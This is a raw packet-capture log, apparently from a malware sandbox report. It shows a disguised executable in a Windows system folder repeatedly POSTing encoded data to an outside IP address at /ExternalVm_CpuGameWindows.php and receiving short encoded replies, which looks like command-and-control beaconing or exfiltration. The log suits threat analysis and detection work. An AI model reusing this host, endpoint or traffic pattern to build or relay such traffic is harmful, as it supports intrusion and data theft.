Apr 20, 2024 00:43:06.145709991 CEST	2148	OUT	Data Raw: 5f 51 5e 5f 54 5b 5d 56 5d 56 5a 59 52 5e 56 5b 54 53 5c 53 50 52 53 52 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Q^_T[]V]VZYR^V[TS\SPRSRW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$[$<279R&3?&]0 +?U(:_"<4:W=+ /;S-$.G#$Z-9
Apr 20, 2024 00:43:06.411307096 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 10 2a 2a 3e 52 21 22 0e 5d 2f 02 37 09 29 0f 2d 00 39 31 25 11 3e 3c 28 59 3e 07 26 08 2b 20 2f 06 30 54 33 01 27 3f 31 0f 2e 10 20 5a 01 11 27 09 24 07 24 53 27 55 2e 5f 27 23 3e 5a 31 03 2a 14 27 2b 26 57 2a 3c 35 55 30 28 1a 13 2a 2b 2e 50 2a 2f 2f 41 31 02 23 1d 36 34 20 50 0c 10 38 50 2a 22 23 1b 26 05 23 50 26 06 25 52 21 3e 0e 50 25 2f 06 0e 35 24 01 5c 3c 32 22 15 28 2d 2c 10 22 0b 24 59 27 1f 0a 11 2b 22 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$*>R!"]/7)-91%><(Y>&+ /0T3'?1. Z'$$S'U._'#>Z1'+&W<5U0(+.P//A1#64 P8P"#&#P&%R!>P%/5$\<2"(-,"$Y'+""^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	49799	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:06.704267025 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:06.966059923 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:06.966424942 CEST	2568	OUT	Data Raw: 5a 57 5b 5b 54 59 58 50 5d 56 5a 59 52 59 56 55 54 50 5c 5a 50 5f 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW[[TYXP]VZYRYVUTP\ZP_S[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'3,24!V0?2< 4?\+Y!Z271"Q*$_#/#S..G#$Z-%
Apr 20, 2024 00:43:07.236244917 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	49800	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:07.624721050 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:07.886034966 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:07.886351109 CEST	2568	OUT	Data Raw: 5a 57 5e 5b 54 5c 5d 56 5d 56 5a 59 52 50 56 56 54 53 5c 5c 50 56 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW^[T\]V]VZYRPVVTS\\PVS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$3= &$(X1_"8$+*3Y627.W>7+.$.G#$Z-
Apr 20, 2024 00:43:08.154594898 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	49801	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:08.541682959 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:08.800131083 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:08.800312042 CEST	2568	OUT	Data Raw: 5a 57 5b 59 51 58 5d 52 5d 56 5a 59 52 5b 56 57 54 53 5c 58 50 50 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZW[YQX]R]VZYR[VWTS\XPPS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'&,-D )*0V4Y2(0"((9 5?9 2!>,_4<-.G#$Z--
Apr 20, 2024 00:43:09.065768003 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	49802	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:09.450575113 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:09.711988926 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:09.712193966 CEST	2568	OUT	Data Raw: 5f 52 5e 53 54 57 58 50 5d 56 5a 59 52 51 56 53 54 57 5c 5b 50 50 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _R^STWXP]VZYRQVSTW\[PPS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'01A 9='V(X&? ^;S?+Y5<.#>Q*; 'V-4.G#$Z-
Apr 20, 2024 00:43:09.980279922 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	49803	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:10.353044987 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:10.611778975 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:10.611999035 CEST	2568	OUT	Data Raw: 5f 56 5b 5f 54 59 58 51 5d 56 5a 59 52 5e 56 51 54 55 5c 52 50 5f 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _V[_TYXQ]VZYR^VQTU\RP_S^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$[3,)E"9%T30_%;0 T+)$!<-#2-+,07#R,$.G#$Z-9
Apr 20, 2024 00:43:10.877440929 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.4	49804	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:11.311589003 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:11.570002079 CEST	25	IN	HTTP/1.1 100 Continue

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.4	49805	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:11.689511061 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:11.954508066 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:11.954699039 CEST	2148	OUT	Data Raw: 5f 51 5e 53 54 58 5d 51 5d 56 5a 59 52 59 56 56 54 51 5c 5f 50 5f 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _Q^STX]Q]VZYRYVVTQ\_P_S^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$[$146';';_7/+9'X"%"2"U=$] (-4.G#$Z-%
Apr 20, 2024 00:43:12.224085093 CEST	349	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 39 38 0d 0a 09 1a 24 13 2a 29 22 52 23 1c 24 1e 2c 12 33 0f 3e 0f 22 5b 2d 0c 2d 5f 2b 2f 3f 02 2b 3e 22 09 2b 0d 30 59 24 54 23 04 27 02 32 1d 2d 3a 20 5a 01 11 24 1a 27 17 02 55 33 30 29 07 24 33 3d 06 27 2e 22 14 30 3b 2a 1e 29 12 3a 0e 30 38 38 5d 2a 2b 31 08 3f 3c 30 1d 26 12 2f 52 20 24 20 50 0c 10 3b 0c 29 21 20 08 25 2c 33 1e 31 01 04 0b 37 58 33 08 31 01 02 0a 35 0a 06 05 3f 21 22 15 3c 03 24 10 22 32 2f 04 30 57 38 57 3c 32 22 5e 2c 0f 20 54 02 3d 5a 50 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$)"R#$,3>"[--_+/?+>"+0Y$T#'2-: Z$'U30)$3='."0;):088]*+1?<0&/R $ P;)! %,317X315?!"<$"2/0W8W<2"^, T=ZP0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.4	49806	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:11.822570086 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:12.081522942 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:12.081722021 CEST	2568	OUT	Data Raw: 5a 56 5e 5a 51 5d 5d 51 5d 56 5a 59 52 5b 56 51 54 53 5c 59 50 57 53 5f 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV^ZQ]]Q]VZYR[VQTS\YPWS_W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$09E7))$38X%,7(?7X"<* 1"Q) \!/#W:.G#$Z--
Apr 20, 2024 00:43:12.347389936 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.4	49807	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:12.730711937 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:12.997689009 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:12.997900009 CEST	2568	OUT	Data Raw: 5f 55 5e 5c 51 5b 5d 51 5d 56 5a 59 52 5e 56 5a 54 53 5c 5c 50 56 53 5c 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U^\Q[]Q]VZYR^VZTS\\PVS\W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$'<9#9%W33$^28( ?()$"?> 19);79.G#$Z-9
Apr 20, 2024 00:43:13.267558098 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49808	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:13.655245066 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:13.918400049 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:13.918613911 CEST	2568	OUT	Data Raw: 5f 55 5b 58 54 5b 58 54 5d 56 5a 59 52 5e 56 57 54 51 5c 5c 50 53 53 5b 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _U[XT[XT]VZYR^VWTQ\\PSS[W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$0<1B7)S$# 18 ";7S<9;!)U""=*^ 7U.4.G#$Z-9
Apr 20, 2024 00:43:14.187674999 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.4	49809	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:14.570808887 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2560 Expect: 100-continue
Apr 20, 2024 00:43:14.829210043 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:14.829457998 CEST	2560	OUT	Data Raw: 5a 52 5e 52 54 56 58 52 5d 56 5a 59 52 58 56 53 54 53 5c 5f 50 54 53 59 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZR^RTVXR]VZYRXVSTS\_PTSYW^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$Z$,=4.3 _%],#;7+\4"<!49*,<]44:4.G#$Z-9
Apr 20, 2024 00:43:15.094876051 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.4	49810	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:15.482718945 CEST	235	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue
Apr 20, 2024 00:43:15.744215012 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:15.744446993 CEST	2568	OUT	Data Raw: 5f 53 5b 5c 54 5e 5d 51 5d 56 5a 59 52 50 56 51 54 56 5c 5a 50 51 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _S[\T^]Q]VZYRPVQTV\ZPQS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R''<#!W'<% ^$+:8",&7!&V><<_ /;,4.G#$Z-
Apr 20, 2024 00:43:16.014801025 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.4	49811	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:16.399036884 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2568 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:16.657648087 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:16.657895088 CEST	2568	OUT	Data Raw: 5a 56 5b 5b 51 5f 58 55 5d 56 5a 59 52 5e 56 53 54 52 5c 5c 50 55 53 5e 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: ZV[[Q_XU]VZYR^VSTR\\PUS^W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R$_3<"")%W0072(+ +<++!9R !.U=Y$ Z'9.G#$Z-9
Apr 20, 2024 00:43:16.922015905 CEST	200	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 19 Apr 2024 22:43:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Data Raw: 34 0d 0a 3b 52 5d 57 0d 0a 30 0d 0a 0d 0a Data Ascii: 4;R]W0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49813	109.107.182.145	80	7744	C:\Program Files\Windows Portable Devices\nRlqAJqnLtuwljTOfeVJPERQcpcS.exe

Timestamp	Bytes transferred	Direction	Data
Apr 20, 2024 00:43:17.503575087 CEST	259	OUT	POST /ExternalVm_CpuGameWindows.php HTTP/1.1 Content-Type: application/octet-stream User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:91.0) Gecko/20100101 Firefox/91.0 Host: 109.107.182.145 Content-Length: 2148 Expect: 100-continue Connection: Keep-Alive
Apr 20, 2024 00:43:17.765126944 CEST	25	IN	HTTP/1.1 100 Continue
Apr 20, 2024 00:43:17.765302896 CEST	2148	OUT	Data Raw: 5f 54 5b 5f 54 5c 58 53 5d 56 5a 59 52 5c 56 5a 54 53 5c 59 50 56 53 5d 57 5e 5e 5d 52 5b 5b 5b 42 52 57 5e 5f 57 5a 5b 59 5d 50 5c 50 5c 5f 5a 57 5d 58 40 59 58 56 51 59 52 50 53 5a 51 58 5c 5e 58 5c 59 5c 5d 50 51 46 59 43 56 59 59 42 5c 51 5d Data Ascii: _T[_T\XS]VZYR\VZTS\YPVS]W^^]R[[[BRW^_WZ[Y]P\P\_ZW]X@YXVQYRPSZQX\^X\Y\]PQFYCVYYB\Q]QVSZYA^[\RYQ_RZ[BVQT\VX\Y]X^_R]]_R[Z\WZE\XSW]^U[VS_PZQZW^VUI]\VV\[W]YXZBB___S\BXFY^Y^ZU\Z_X_ZZ\\XVBU^R'&,97=V'V+1;#Y7(;T?\7^"<=#2"$_4,4:.G#$Z-1
